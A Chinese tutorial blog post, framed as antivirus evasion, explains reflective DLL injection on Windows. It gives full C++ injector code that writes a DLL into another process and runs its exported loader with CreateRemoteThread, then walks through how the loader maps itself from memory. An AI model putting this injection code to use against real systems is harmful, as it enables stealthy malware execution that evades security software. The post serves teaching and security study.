公众号:https://mp.weixin.qq.com/s/M92n3e-yCG64ry9GLt5A3A

或许我们的公众号会有更多你感兴趣的内容

img

【免杀】反射式DLL注入详解

在前文:PE文件格式解析常见的DLL和Shellcode注入方式中已经讲解了基本的注入方式和PE文件结构。那么我们可以提出这样指一种注入方式:将dll的内容放到目标进程中,然后找到这个dll完成PE映射到内存的函数(假设为void loader()),这也要求loader函数一定要在导出表上。

  1. 获得dllloader函数在内存中的虚拟地址
  2. 注入器将dll写入目标进程然后调用loader
  3. loader运行

注入器编写

  1. 打开dll文件

       std::string path;
    DWORD pid;
    std::cout << "[+] pid: ";
    scanf_s("%d", &pid);
    std::cin.ignore();
    std::cout << "[+] DLL Path: ";
    std::getline(std::cin, path);

    //1.打开dll文件
    HANDLE hFile = CreateFileA(path.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
    std::cout << "Create File Failed\n";
    return 0;
    }

    DWORD dwFileSize = GetFileSize(hFile, NULL);
    if (dwFileSize == 0) {
    std::cout << "File Size is Zero!\n";
    CloseHandle(hFile);
    return 0;
    }
  2. 将dll写入到目标进程

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProcess == INVALID_HANDLE_VALUE) {
    std::cout << "Allocate Address or Open Process Failed\n";
    CloseHandle(hFile);
    return 0;
    }

    LPVOID pBase = VirtualAllocEx(hProcess, NULL, (SIZE_T)dwFileSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (pBase == NULL) {
    std::cout << "Allocate Memory Failed\n";
    CloseHandle(hFile);
    CloseHandle(hProcess);
    return 0;
    }

    SIZE_T dwWriteSize = 0;
    char* buffer = new char[dwFileSize];
    DWORD dwReadSize;
    if (ReadFile(hFile, buffer, dwFileSize, &dwReadSize, NULL) == FALSE) {
    std::cout << "Failed to read the file.\n";
    delete[] buffer;
    VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT);
    CloseHandle(hFile);
    CloseHandle(hProcess);
    return 0;
    }
    bool bRet = WriteProcessMemory(hProcess, pBase, buffer, dwFileSize, &dwWriteSize);
    if (dwWriteSize != dwFileSize) {
    std::cout << "File Load partitially\n";
    delete[] buffer;
    VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT);
    CloseHandle(hFile);
    CloseHandle(hProcess);
    return 0;
    }
  3. 获得loader函数地址

    按照之前提到的pe格式,就是从IMAGE_DATA_DIRECTORY的导出表中,利用FirstThunk进行遍历,如果字符串匹配,就根据结构体的相关变量找到函数地址

    首先是得到RVA转换的函数

    DWORD VA2RVA(DWORD64 dwRva, DWORD64 BaseAddress) {
    DWORD64 VA = 0;
    DWORD64 RVA = 0;
    DWORD64 sectionHeader;

    DWORD64 ntheader = BaseAddress + ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew;
    WORD sectionNum = ((PIMAGE_NT_HEADERS64)ntheader)->FileHeader.NumberOfSections;

    for (size_t i = 0; i < sectionNum; i++)
    {
    sectionHeader = ntheader + sizeof(IMAGE_NT_HEADERS64) + i * sizeof(IMAGE_SECTION_HEADER);
    if (((PIMAGE_SECTION_HEADER)sectionHeader)->VirtualAddress > dwRva)
    break;
    VA = ((PIMAGE_SECTION_HEADER)sectionHeader)->VirtualAddress;
    RVA = dwRva - VA + ((PIMAGE_SECTION_HEADER)sectionHeader)->PointerToRawData;
    }

    return RVA;
    }

    这里需要说明下IMAGE_EXPORT_DIRECTORY导出表目录结构体

    //@[comment("MVI_tracked")]
    typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD Characteristics;
    DWORD TimeDateStamp;
    WORD MajorVersion;
    WORD MinorVersion;
    DWORD Name;
    DWORD Base;
    DWORD NumberOfFunctions;
    DWORD NumberOfNames;
    DWORD AddressOfFunctions; // RVA from base of image
    DWORD AddressOfNames; // RVA from base of image
    DWORD AddressOfNameOrdinals; // RVA from base of image
    } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
    • AddressOfNames:函数名称地址DWORD数组,需要RVA
    • AddressOfFunctions:Export函数地址DWORD数组,需要RVA
    • AddressOfNameOrdinals:这是WORD数组,举个例子:目前存在着两个数组,AddressOfNames[i]AddressOfFunctions[j]AddressOfNameOrdinals存在的意义就是可以通过下标i找到另一个j,类似数据库中的关系表

    拿到AddressOfNames去比较得到i,然后使用iAddressOfNameOrdinals得到j,最后使用jAddressOfFunctions找到函数地址

    注意得是AddressOfNames是一个DWORD数组,并且需要根据DWORD数据重定位才能得到函数名。

    DWORD64 getFunctionOffset(HANDLE peBuffer, const char* funcionName) {
    DWORD64 dosHeader = (DWORD64)peBuffer;
    DWORD64 ntHeader = dosHeader + ((PIMAGE_DOS_HEADER)peBuffer)->e_lfanew;

    //导入目录
    DWORD64 eatDVA = ((PIMAGE_NT_HEADERS64)ntHeader)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

    DWORD64 exportDirRVA = VA2RVA(eatDVA, dosHeader) + dosHeader;
    DWORD64 exportNameAddr = VA2RVA(((PIMAGE_EXPORT_DIRECTORY)exportDirRVA)->AddressOfNames, dosHeader) + dosHeader;
    DWORD64 exportFuncAddr = VA2RVA(((PIMAGE_EXPORT_DIRECTORY)exportDirRVA)->AddressOfFunctions, dosHeader) + dosHeader;
    DWORD64 exportOrdinals = VA2RVA(((PIMAGE_EXPORT_DIRECTORY)exportDirRVA)->AddressOfNameOrdinals, dosHeader) + dosHeader;

    DWORD sumNames = ((PIMAGE_EXPORT_DIRECTORY)exportDirRVA)->NumberOfNames;

    //1.遍历找到i
    for (size_t i = 0; i < sumNames; i++)
    {
    char* cpExportedFunctionName = (char*)(dosHeader + VA2RVA((PDWORD(exportNameAddr))[i], dosHeader));
    std::cout << "func: " << cpExportedFunctionName << "\n";
    if (strstr(cpExportedFunctionName, funcionName)) {
    exportFuncAddr += (PWORD(exportOrdinals)[i]);
    return VA2RVA(PDWORD(exportFuncAddr)[0], dosHeader);
    }
    }

    return 0;

    }
  4. 在远程进程中加载

    DWORD64 loaderFuncAddr = getFunctionOffset(buffer, "loader");
    if (loaderFuncAddr == 0) {
    std::cout << "Get Export Function Error\n";
    delete[] buffer;
    VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT);
    CloseHandle(hFile);
    CloseHandle(hProcess);
    return 0;
    }
    LPTHREAD_START_ROUTINE lpReflectiveLoader = reinterpret_cast<LPTHREAD_START_ROUTINE>(
    reinterpret_cast<ULONG_PTR>(pBase) + loaderFuncAddr
    );

    HANDLE hThread = NULL;
    hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, pBase, (DWORD)NULL, NULL);
    if (hThread == INVALID_HANDLE_VALUE || hThread == NULL) {
    std::cout << "Create Thread Failed\n";
    delete[] buffer;
    VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT);
    CloseHandle(hFile);
    CloseHandle(hProcess);
    return 0;
    }
    WaitForSingleObject(hThread, 500);

    delete[] buffer;
    VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT);
    CloseHandle(hFile);
    CloseHandle(hProcess);
    CloseHandle(hThread);

这里我是用 https://github.com/stephenfewer/ReflectiveDLLInjection 的DLL进行测试,函数名为ReflectiveLoader

image-20250103214642081

关于PEB

PEB:process environment block,处理环境块。可以参考:https://learn.microsoft.com/zh-cn/windows/win32/api/winternl/ns-winternl-peb

typedef struct _PEB {
//...
BYTE BeingDebugged;
//...
PPEB_LDR_DATA Ldr;
//...
} PEB, *PPEB;
  • BeingDebugged:当前是否被调试,反调试和反反调试常用
  • Ldr:该结构包含有关进程已加载模块的信息
typedef struct _PEB_LDR_DATA
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

当程序每加载一个dll的时候,就会添加到InMemoryOrderModuleList中(三个LIST_ENTRY都会添加),LIST_ENTRY可以被解析为LDR_DATA_TABLE_ENTRY,因为数据间隔对的上…所以很抽象

typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InMemoryOrderLinks;
//...
PVOID DllBase;
//...
UNICODE_STRING FullDllName;
//...
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

通过FullDllName可以得到当前dll的完整名称(带有路径),同时DllBase指向该dll的基地址(即加入到内存中的其实地址)

DLL编写

首先就是loader函数,由于我们是在PE文件没有完成映射到内存时进行调用的,那么这段函数本质上和shellcode一样是一段地址无关代码。我们应该明确这段函数能执行以下任务:

  • 获得当前内存地址,方便后续解析PE文件
  • peb->ldr获得相关函数,如GetProcAddressVirtualAllocLoadlibrary
  • 解析PE文件得到完成映射后的大小并VirtualAlloc分配内存
  • 完成Section段的映射
  • 遍历导入表,使用Loadlibrary加载本dll所需要的各种函数
  • 处理重定位
  • 获得PE文件中AddressOfEntryPoint完成映射后的地址,然后跳转执行

整个过程也是非常枯燥的,以https://github.com/stephenfewer/ReflectiveDLLInjection 举例

  1. 获得当前内存地址,方便后续解析PE文件。首先我们要得到当前PE文件的起始部分, 项目是通过#pragma intrinsic返回函数调用的返回地址,然后判断DOS头和NT头是否匹配来逐步调整,得到PE文件起始地址fileBase

    image-20250105153732219

  2. peb->ldr获得相关函数。项目为了做到良好的兼容性使用的是__readgsqword_MoveFromCoprocessor(ARM),函数的作用是从相对于 GS 段开头的偏移量指定的位置读取内存,比如在GS偏移为0x60的位置就是PEB存放的位置,通过遍历PEB中的LDR可以找到所有被加载的dll的相关信息,甚至是在内存中未被映射的PE文件,例如:

    image-20250105154150671

    项目的这一步做的过程是差不多的,

    image-20250105154538122

    image-20250105154515644

    image-20250105155234308

    通过解析kernel32.dllntdll.dll的在内存中PE文件,计算出LoadLibraryAGetProAddressVritualAllocNtFlushInstructionCache三个函数在内存中的位置,便于后续调用。这里的NtFlushInstructionCache函数,用于刷新指定进程的指令缓存

    NTSTATUS NtFlushInstructionCache(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    SIZE_T RegionSize
    );

    如果是在用户层使用的话是封装在kernel32.dllFlushInstructionCache中的,不过直接调用可以避免一些不必要的“检查”

  3. 完成映射。现在我们得到了当前dll的PE文件起始位置,可以通过NT头中OptionalHeaderSizeOfImage得到完成映射所需要的空间大小,然后用步骤2中找到的VirtualAlloc申请空间,得到内存映射的起始地址memBase。然后先把DOS头和NT头复制过去,当然头的大小也是由OptionalHeaderSizeOfHeaders可以得到的

    image-20250105155757072

  4. 完成Section段的映射

    这里就不得不复习Section头的结构体了

    typedef struct _IMAGE_SECTION_HEADER {
    BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
    union {
    DWORD PhysicalAddress;
    DWORD VirtualSize;
    } Misc;
    DWORD VirtualAddress;
    DWORD SizeOfRawData;
    DWORD PointerToRawData;
    DWORD PointerToRelocations;
    DWORD PointerToLinenumbers;
    WORD NumberOfRelocations;
    WORD NumberOfLinenumbers;
    DWORD Characteristics;
    } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

    完成映射的首要问题就是:从哪里,到哪里,走多少。对应的就是从fileBase+PointerToRawDatamemBase+VirtualAddress,复制SizeOfRawData大小

    image-20250105160856920

  5. 遍历导入表。为了便于分析再次展示IMAGE_IMPORT_DESCRIPTOR结构体

     typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
    DWORD Characteristics;
    DWORD OriginalFirstThunk;
    } DUMMYUNIONNAME;
    DWORD TimeDateStamp;
    DWORD ForwarderChain;
    DWORD Name;
    DWORD FirstThunk;
    } IMAGE_IMPORT_DESCRIPTOR;
    typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
    • OriginalFirstThunk:导入名称表的RVA地址
    • Name:DLL(映像文件)名称
    • FirstThunk:导入地址表的RVA地址

    根据之前我们对PE文件格式的分析,我们首先得到的是DLL的文件名,这时候便可用之前找到的LoadLibraryA去加载这些我们DLL需要的DLL

    image-20250105164438130

    接着很自然的想到使用GetProAddress去加载这些函数。具体过程是从FirstThunk中获得IMAGE_IMPORT_BY_NAME ,得到函数名称后使用GetProAddress得到函数地址,最后存储到fileBase+PIMAGE_IMPORT_DESCRIPTOR.FirstThunk上。

    image-20250105171719814

    项目这里对于其他从OriginalFirstThunk开始的情况进行了解析,但是核心思路是一致的。

  6. 处理重定位。这里有之前PE文件没有说的PIMAGE_BASE_RELOCATION(主要是之前的例子是EXE)

    为什么DLL需要重定位?每个DLL最初被设计时,编译器会为其分配一个首选加载地址(Preferred Base Address),这通常是一个固定的虚拟内存地址。当多个DLL被加载到同一个进程的地址空间时,如果多个DLL的首选加载地址发生冲突(即两个DLL都希望加载到同一个内存地址),操作系统无法直接将它们加载到相同的地址,为了避免这种冲突,操作系统会将其中一个或多个DLL加载到其他地址,这就需要对代码中的绝对地址进行重定位

    他保存在NT头的OptionalHeader.DataDirectory中,结构体如下

    //@[comment("MVI_tracked")]
    typedef struct _IMAGE_BASE_RELOCATION {
    DWORD VirtualAddress;
    DWORD SizeOfBlock;
    // WORD TypeOffset[1];
    } IMAGE_BASE_RELOCATION;
    typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;
    • VirtualAddress:待修正的数据的起始RVA
    • SizeOfBlock:要修正的区块数目

    在PE格式中一个IMAGE_BASE_RELOCATION数组展现的,这也方便我们进行遍历,最后一个全部成员变量都为0,所以计算要重定位的区块数目的时候记得**-1**。

    image-20250105173117037

    如何进行修正?PIMAGE_BASE_RELOCATION有一个隐藏的成员TypeOffset,可以通过IMAGE_BASE_RELOCATION+ sizeof(IMAGE_BASE_RELOCATION)找到,可以被解析为

    typedef struct
    {
    WORD offset:12;
    WORD type:4;
    } IMAGE_RELOC, *PIMAGE_RELOC;

    其中重定位的类型主要是构架的不同导致的,如32位和64位

    //
    // Based relocation types.
    //

    #define IMAGE_REL_BASED_ABSOLUTE 0
    #define IMAGE_REL_BASED_HIGH 1
    #define IMAGE_REL_BASED_LOW 2
    #define IMAGE_REL_BASED_HIGHLOW 3
    #define IMAGE_REL_BASED_HIGHADJ 4
    #define IMAGE_REL_BASED_MACHINE_SPECIFIC_5 5
    #define IMAGE_REL_BASED_RESERVED 6
    #define IMAGE_REL_BASED_MACHINE_SPECIFIC_7 7
    #define IMAGE_REL_BASED_MACHINE_SPECIFIC_8 8
    #define IMAGE_REL_BASED_MACHINE_SPECIFIC_9 9
    #define IMAGE_REL_BASED_DIR64 10

    在NT头的可选头(OptionalHeader)中有ImageBase,他是dll加载到内存中的第一个字节的首选地址。那么所有待重定位的数据都是根据这个值相对偏移,比如ImageBase=0x1000,现在有个数据默认是在ImageBase偏移的0x10,即理想中的0x1010的位置,文件中的记录就是0x1010;但是现在ImageBase变为了0x2000,那么重定位的位置就是0x2010,由此得到公式:newData = oldData-ImageBase+newMemoryAddress

    重定位的方式就是在原来的VirtualAddress+IMAGE_RELOC.offset地址中的值加上memBase-ImageBase

    image-20250105175336157

    image-20250105173759085

  7. 获得PE文件中AddressOfEntryPoint完成映射后的地址,然后跳转执行。这几乎是最简单的一步了,直接在NT头的可选头(OptionalHeader)中的AddressOfEntryPoint可以得到,这也是PE文件格式分析中强调过的,就是得算一下偏移;最后刷新指令集缓存(可以忽略,但是会增大dll调用失败概率),跳转到程序入口点AddressOfEntryPoint执行(DLL的就为DllMain了)

    image-20250105183441641